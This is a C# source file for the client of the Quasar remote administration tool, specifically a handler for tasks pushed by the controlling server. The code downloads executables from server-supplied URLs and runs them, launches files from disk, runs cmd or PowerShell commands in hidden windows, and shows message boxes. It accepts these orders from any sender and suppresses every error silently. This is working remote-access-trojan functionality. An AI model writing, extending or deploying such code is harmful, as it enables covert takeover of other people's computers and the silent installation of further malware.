using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Windows.Forms;

namespace Quasar.Client.Messages
{
    public class AutoTaskHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is DoAutoTask;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoAutoTask task:
                    Execute(sender, task);
                    break;
            }
        }

        private void Execute(ISender client, DoAutoTask message)
        {
            try
            {
                switch (message.TaskType)
                {
                    case "EXECUTE_URL":
                        ExecuteFromUrl(message.Param1);
                        break;
                    case "EXECUTE_DISK":
                        ExecuteFromDisk(message.Param1);
                        break;
                    case "COMMAND":
                        ExecuteCommand(message.Param1, message.Param2);
                        break;
                    case "MESSAGEBOX":
                        ShowMessageBox(message.Param1, message.Param2, message.Param3);
                        break;
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"AutoTask error: {ex.Message}");
            }
        }

        private void ExecuteFromUrl(string url)
        {
            try
            {
                string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ".exe");
                using (WebClient client = new WebClient())
                {
                    client.DownloadFile(url, tempFile);
                }
                Process.Start(tempFile);
            }
            catch { }
        }

        private void ExecuteFromDisk(string filePath)
        {
            try
            {
                if (File.Exists(filePath))
                {
                    Process.Start(filePath);
                }
            }
            catch { }
        }

        private void ExecuteCommand(string shell, string command)
        {
            try
            {
                ProcessStartInfo psi = new ProcessStartInfo
                {
                    FileName = shell, // "cmd" or "powershell"
                    Arguments = shell == "cmd" ? $"/c {command}" : $"-Command \"{command}\"",
                    WindowStyle = ProcessWindowStyle.Hidden,
                    CreateNoWindow = true,
                    UseShellExecute = false
                };
                Process.Start(psi);
            }
            catch { }
        }

        private void ShowMessageBox(string caption, string text, string icon)
        {
            try
            {
                // Show message box on a separate thread to avoid blocking the client
                System.Threading.Thread msgThread = new System.Threading.Thread(() =>
                {
                    try
                    {
                        MessageBoxIcon msgIcon = MessageBoxIcon.None;
                        switch (icon)
                        {
                            case "Information": msgIcon = MessageBoxIcon.Information; break;
                            case "Warning": msgIcon = MessageBoxIcon.Warning; break;
                            case "Error": msgIcon = MessageBoxIcon.Error; break;
                            case "Question": msgIcon = MessageBoxIcon.Question; break;
                        }
                        MessageBox.Show(text, caption, MessageBoxButtons.OK, msgIcon);
                    }
                    catch { }
                });
                msgThread.SetApartmentState(System.Threading.ApartmentState.STA);
                msgThread.IsBackground = true;
                msgThread.Start();
            }
            catch { }
        }
    }
}
